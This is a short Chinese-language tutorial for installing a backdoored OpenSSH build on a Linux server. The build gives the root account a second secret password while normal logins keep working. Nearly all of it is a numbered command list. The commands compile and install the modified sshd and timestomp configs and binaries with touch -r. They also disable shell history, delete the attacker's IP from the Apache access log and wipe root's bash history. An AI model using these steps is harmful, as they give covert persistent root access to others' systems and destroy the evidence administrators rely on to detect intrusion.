ssh后门

Linux SSH后门

　可以让root账号有两个密码，不影响管理员正常登陆。

　在includes.h 里面 修改密码，然后编译 安装.

1. 　　 unzip sshd.zip
2. 　　cd openssh
3. 　　vi version.h
4. 　　#define SSH_VERSION "OpenSSH_4.2" --> you've to edit OpenSSH_4.2
5. 　　vi includes.h
6. 　　#define _SECRET_PASSWD "123456" --edit as u wish
7. 　　cp /etc/ssh/sshd_config /etc/ssh/sshd_config.pub
8. 　　cp /etc/ssh/ssh_config /etc/ssh/ssh_config.pub
9. 　　touch -r /etc/ssh/sshd_config /etc/ssh/sshd_config.pub
10. 　　touch -r /etc/ssh/ssh_config /etc/ssh/ssh_config.pub
11. 　　cp /usr/bin/ssh /usr/bin/ssh-keypub
12. 　　touch -r /usr/bin/ssh /usr/bin/ssh-keypub
13. 　　./configure --prefix=/usr --sysconfdir=/etc/ssh
14. 　　make && make install
15. 　　cp ssh_config sshd_config /etc/ssh/
16. 　　cd ..
17. 　　rm -rf ./ssh*
18. 　　rm -rf openssh
19. 　　diff /etc/ssh/sshd_config /etc/ssh/sshd_config.pub
20. 　　vi sshd_config
21. 　　diff /etc/ssh/ssh_config /etc/ssh/ssh_config.pub
22. 　　vi ssh_config
23. 　　touch -r /etc/ssh/sshd_config.pub /etc/ssh/sshd_config
24. 　　touch -r /etc/ssh/ssh_config.pub /etc/ssh/ssh_config
25. 　　touch -r /usr/bin/ssh-keypub /usr/bin/ssh*
26. 　　/etc/init.d/sshd restart
27. export HISTFILE=/dev/null
28. 　 export HISTSIZE=0
29. 　　cd /etc/httpd/logs/
30. 　　sed -i '/ip/d' access_log
31. 登入后门：
32. ssh -l root ip 密码：123456
33. echo >/root/.bash_history